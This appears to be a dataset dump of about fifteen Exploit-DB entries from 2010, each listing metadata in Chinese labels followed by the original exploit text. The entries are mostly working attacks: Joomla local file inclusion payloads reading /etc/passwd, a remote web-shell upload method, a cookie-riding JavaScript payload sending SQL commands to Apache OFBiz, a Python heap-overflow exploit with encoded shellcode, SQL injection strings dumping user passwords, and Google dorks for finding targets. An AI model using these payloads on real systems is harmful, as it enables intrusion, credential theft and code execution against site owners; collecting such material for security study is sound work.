QLWD/code_shield huggingface dataset:
标题: PHP RapidKill Pro 5.x - Arbitrary File Upload EDB-ID: 12272 CVE: 2006-5918 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-17 漏洞利用脚本: # Exploit Title: PHP RapidKill Pro 5.x Shell Upload Vulnerability

# Date: 16.04.2010

# Author: DigitALL

# Software Link:

# Code :

g00gle d0rk: "PHP RapidKill Pro"

3xpl0it: Link to Download: http://site.com/shell.txt [r57 or DigitALL Shell
]

And Click To "F&#304;LES" And Action Rename xx.php

Then Click The Go To Shell

Greetz To: Efe KroNicKq NoFearx38 and All 1923Turk.Com Members

[ www.digitallsecurity.org ] [ www.1923turk.com ] [
www.digit4ll.blogspot.com ] [ www.kankardes.com ] [ www.hacker-zone.org ] URL: https://www.exploit-db.com/exploits/12272
标题: Joomla! Component Archery Scores 1.0.6 - Local File Inclusion EDB-ID: 12282 CVE: 2010-1718 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ================================================================================================

 Title    : Joomla Component Archery Scores (com_archeryscores) v1.0.6 LFI Vulnerability
 Vendor   : http://lispeltuut.org/
 Download : http://lispeltuut.org/archery-scores/download

 Date     : Sunday, 18 April 2010 - GMT +07:00 Jakarta, Indonesia
 Author   : wishnusakti + inc0mp13te (HH)
 Contact  : evileyes60117[at]yahoo.com

 ================================================================================================

 [+] Vulnerable

     ./components/com_archeryscores/archeryscores.php

     Line 22: if($controller = JRequest::getVar('controller')) {
     Line 23: require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
     Line 24: }

 [+] Exploit

     http://[site]/[path]/index.php?option=com_archeryscores&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz to:

     Penghuni #nob0dy priv8 Server
     (ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, madonk, & Bot² Scan :D)
     en Semua Komunitas Hacking Tanah Air
     Peace Yo :)

 ================================================================================================

# ./wishnusakti URL: https://www.exploit-db.com/exploits/12282
标题: Apache OFBiz - Remote Execution (via SQL Execution) EDB-ID: 12263 CVE: 2010-0432 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-04-16 漏洞利用脚本: /*

Apache OFBiz SQL Remote Execution PoC Payload.

CVE: CVE-2010-0432

By: Lucas Apa ( lucas -at- bonsai-sec.com ).

Bonsai Information Security

http://www.bonsai-sec.com/

*/

var cmd = 'command';

var xmlhttp=false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}

if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp=false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp = window.createRequest();
} catch (e) {
xmlhttp=false;
}
}

xmlhttp.open("POST", "
https://192.168.225.135:8443/webtools/control/EntitySQLProcessor",true);
xmlhttp.onreadystatechange=function() {
if (xmlhttp2.readyState==4) {
//alert(xmlhttp.responseText)
}
}

var cookie = unescape(document.cookie);
xmlhttp.setRequestHeader("content-type",
"application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("cookie", cookie);
var str1 = (<r><![CDATA[submitButton=Enviar&sqlCommand=]]></r>).toString();
var str2 = (<r><![CDATA[&group=org.ofbiz&rowLimit=200]]></r>).toString();
var post_data = str1+cmd+str2;
xmlhttp.send(post_data); URL: https://www.exploit-db.com/exploits/12263
标题: SIESTTA 2.0 - Local File Inclusion / Cross-Site Scripting EDB-ID: 12260 CVE: 2010-1711 2010-1710 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-16 漏洞利用脚本: ####################################################################
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://ramoncastro.es/siestta_old/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" register_globals = On
#
####################################################################


- [#LFI] <login.php>

<?php

require('idioma/'.$idioma.'');
...
?>

!EXPLOIT: /login.php?idioma=/../../../../../../../../../../../etc/passwd%00

- [#XSS] <carga_foto_al.php>

<?
...
$usuario = $_GET['usuario'];
$imagen = 'admin/fotos_al/'.$usuario.'.jpg';
echo '<p style="text-align:center;">
<img class="foto" src="'.$imagen.'" alt="'.$usuario.'" /></p>
...
?>

!EXPLOIT: /carga_foto_al.php?usuario= URL: https://www.exploit-db.com/exploits/12260
标题: 60cycleCMS 2.5.2 - 'DOCUMENT_ROOT' Multiple Local File Inclusions EDB-ID: 12249 CVE: 2010-1951 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-15 漏洞利用脚本: ########################################################
 
    fucking the Web Apps [attack edition]
 
 ____                  __                              __    __               
/\  _`\               /\ \      __                    /\ \__/\ \              
\ \ \L\_\__  __    ___\ \ \/'\ /\_\    ___      __    \ \ ,_\ \ \___      __  
 \ \  _\/\ \/\ \  /'___\ \ , < \/\ \ /' _ `\  /'_ `\   \ \ \/\ \  _ `\  /'__`\
  \ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \   \ \ \_\ \ \ \ \/\  __/
   \ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \   \ \__\\ \_\ \_\ \____\
    \/_/  \/___/  \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \   \/__/ \/_/\/_/\/____/
                                                /\____/                       
                                                \_/__/                        
 __      __          __          ______                       By: eidelweiss
/\ \  __/\ \        /\ \        /\  _  \                          
\ \ \/\ \ \ \     __\ \ \____   \ \ \L\ \  _____   _____     ____ 
 \ \ \ \ \ \ \  /'__`\ \ '__`\   \ \  __ \/\ '__`\/\ '__`\  /',__\
  \ \ \_/ \_\ \/\  __/\ \ \L\ \   \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
   \ `\___x___/\ \____\\ \_,__/    \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
    '\/__//__/  \/____/ \/___/      \/_/\/_/\ \ \/  \ \ \/  \/___/
                                             \ \_\   \ \_\        
                                              \/_/    \/_/         


[+]Title: 60cycleCMS v2.5.2 (DOCUMENT_ROOT) Multiple Local File Inclusion Vulnerability
[+]Version: 2.5.2
[+]Download: http://php.opensourcecms.com/scripts/details.php?scriptid=337
[+]License: New BSD (http://www.opensource.org/licenses/bsd-license.php)
[+]Author: eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com 

 [!]Thank`s To: All Friends

########################################################

[!] Descriptsion

60cycleCMS is a simple CMS using PHP and MySQL. It is designed for blogging on personal websites, and was first written to power 60cycle.net. 
For the purposes of easy integration into existing sites, 60cycleCMS does not include a web template. 


[!]-=[ Vuln C0de ]=-[!]

[-]  60cycleCMS_path/news.php

 <?php

 require 'common/lib.php';
 $root = $_SERVER['DOCUMENT_ROOT'];
 require_once("$root/../config.php");



[-] 60cycleCMS_path/submitComment.php

 <?php
 session_start();
 require_once('lib/recaptchalib.php');
 require_once('lib/htmlpurifier-4.0.0/HTMLPurifier.standalone.php');
 $root = $_SERVER['DOCUMENT_ROOT'];
 require_once("$root/../config.php");


[-] 60cycleCMS_path/common/sqlConnect.php

 <?php

 // include your sql info file here
 $root = $_SERVER['DOCUMENT_ROOT'];
 require "$root/../config.php";


 [!] -=[ Proof Of Concept ]=-[!]

 http://127.0.0.1/60cycleCMS_path/news.php?DOCUMENT_ROOT= [LFI]%00
 http://127.0.0.1/60cycleCMS_path/submitComment.php?DOCUMENT_ROOT= [LFI]%00
 http://127.0.0.1/60cycleCMS_path/common/sqlConnect.php?DOCUMENT_ROOT= [LFI]%00

######################################################## URL: https://www.exploit-db.com/exploits/12249
标题: Joomla! Component Deluxe Blog Factory 1.1.2 - Local File Inclusion EDB-ID: 12238 CVE: 2010-1955 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component Deluxe Blog Factory Local File Inclusion Vulnerability
 
       Software : com_blogfactory version 1.1.2
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_blogfactory&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12238
标题: Joomla! Component JA Comment - Local File Inclusion EDB-ID: 12236 CVE: 2010-1601 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: =========================================================================================================


  [o] Joomla Component JA Comment Local File Inclusion Vulnerability
 
       Software : com_jacomment
       Vendor   : http://www.joomlart.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jacomment&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=========================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12236
标题: Mocha LPD 1.9 - Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 12240 CVE: 2010-1687 类型: DOS 平台: WINDOWS 发布日期: 2010-04-14 漏洞利用脚本: #!/usr/bin/python
# Mocha LPD v1.9 Remote Heap Overflow Exploit
# ol skool 'write 4'
# whoops, I said it was a DoS. My bad. 
# btw yes, I know its 2010 :0)
# CVE: 2010-1687
# tested on XP sp1 
# (use anti debugging to see it work - !hidedebug zwqueryinformationprocess)
# 
# call trace:
# ntdll.RtlAllocateHeap Called from=lpd.0041520B

import sys, socket

print "********************************************************"
print "          Mocha LPD Heap Buffer Overflow Code Execution"
print "                     by mr_me"
print "********************************************************"

if len(sys.argv) < 3:
 print "Usage: " + sys.argv[0] + " <target ip> <port>"
 sys.exit(0)

stage1 = "\x90\x90"
stage1 += "\x61" * 10
stage1 += "\x5b" * 2
stage1 += "\x03\xd2" * 5
stage1 += "\x03\xda" * 47
stage1 += "\xeb\x12"  # jmp down to stage2

stage2 = "\x03\xda" * 125

# aligned to ebx, executes calc.exe via a hardcoded winExec()
# ascii encoded lowercase

sc = ("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upj02b8"
"8731220222b6f507879729d088b9ck0ngmb9e910")

exploit = "\x05\x64\x65\x66\x61\x75\x6c\x74\x20"
exploit += "\xcc" * (975-len(stage1))
exploit += stage1
exploit += "\xeb\x86"  # jmp up to stage1
exploit += "\x44" * 6
exploit += "\xad\xbb\xc3\x77" # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += "\xb4\x73\xed\x77" # EAX 0x77ED73B4 --> ptr to UnhandledExceptionFilter()
exploit += stage2
exploit += "\x90" * 38  # offset to ebx pointed shellcode
exploit += sc
exploit += "\xcc" * (1500-len(exploit))
exploit += "\x20\x61\x6c\x6c\x0a"

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
 connect = s.connect((host,port))
except:
 print "[-] Cant connect!"

s.send("\x02")
print "[+] Sending evil payload.. ph33r o.O"
s.send(exploit)
print '[+] Check for the calc!'
s.close() URL: https://www.exploit-db.com/exploits/12240
标题: Joomla! Component BeeHeard 1.0 - Local File Inclusion EDB-ID: 12239 CVE: 2010-1952 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: ==================================================================================================================


  [o] Joomla Component BeeHeard Lite Local File Inclusion Vulnerability
 
       Software : com_beeheard version 1.0
       Vendor   : http://beeheard.cmstactics.com
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_beeheard&controller=[LFI]       << Old version
       http://localhost/[path]/index.php?option=com_beeheardlite&controller=[LFI]   << New version


  [o] PoC

       http://localhost/index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
       http://localhost/index.php?option=com_beeheardlite&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12239
标题: Joomla! Component Love Factory 1.3.4 - Local File Inclusion EDB-ID: 12235 CVE: 2010-1957 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component Love Factory Local File Inclusion Vulnerability
 
       Software : com_lovefactory version 1.3.4
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_lovefactory&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11

       love kk love.. :p
       happy birthday buad bokap na s4va.. God bless.. ^____^


=================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12235
标题: Joomla! Component Intellectual Property 1.5.3 - 'id' SQL Injection EDB-ID: 12246 CVE: 2010-1721 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-15 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
 Joomla Component com_iproperty 1.5.3 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 15-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Thinkery Intellectual Property
Vendor   : http://iproperty.thethinkery.net/
Price  : $225 USD
Version  : 1.5.3 Other versions may also be affected
Google Dork : inurl:com_iproperty

Intellectual Property allows independent real estate agents, brokers, or property 
management companies to upload and maintain property listings for sale, for rent and for lease. 
Upload photos, add categories, sub-categories, agent profiles, company profiles. 
Search with an advanced Google Map-Ajax-based map interface. Allow users to save and 
manage favorite properties. Quickly customize colors, filters, galleries and more!
----------------------------------------------------------------

Exploitz:
~~~~~~~

-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_iproperty&view=agentproperties&id=[elich4]
----------------------------------------------------------------

Shoutz:
~~~~

- 'oH lawd !! Malingsial lame forum g0t hacked for second times by Us,lulz...'
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,c4uR [tumben ga bawa martabak??],mywisdom,yadoy666,udhit
- elicha cristia [me too... :)]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12246
标题: Joomla! Component MT Fire Eagle 1.2 - Local File Inclusion EDB-ID: 12233 CVE: 2010-1719 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component MT Fire Eagle Local File Inclusion Vulnerability
 
       Software : com_mtfireeagle version 1.2
       Vendor   : http://www.moto-treks.com/
       Download : http://joomlacode.org/gf/project/jfireeagle/frs/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_mtfireeagle&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12233
标题: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion EDB-ID: 12232 CVE: 2010-1461 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: ===========================================================================================================


  [o] Joomla Component Photo Battle Local File Inclusion Vulnerability
 
       Software : com_photobattle version 1.0.1
       Demo     : http://www.gogoritas.net/en/photo-battle
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_photobattle&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00


===========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===========================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12232
标题: Joomla! Component Media Mall Factory 1.0.4 - Blind SQL Injection EDB-ID: 12234 CVE: 2010-1600 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: ===========================================================================================================


  [o] Joomla Component Media Mall Factory Blind SQLi Vulnerability
 
       Software : com_mediamall version 1.0.4
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_mediamall&category=1[BSQL]


  [o] PoC

       http://localhost/index.php?option=com_mediamall&category=1+AND+SUBSTRING(@@version,1,1)=5 << true
       http://localhost/index.php?option=com_mediamall&category=1+AND+SUBSTRING(@@version,1,1)=4 << false


===========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===========================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12234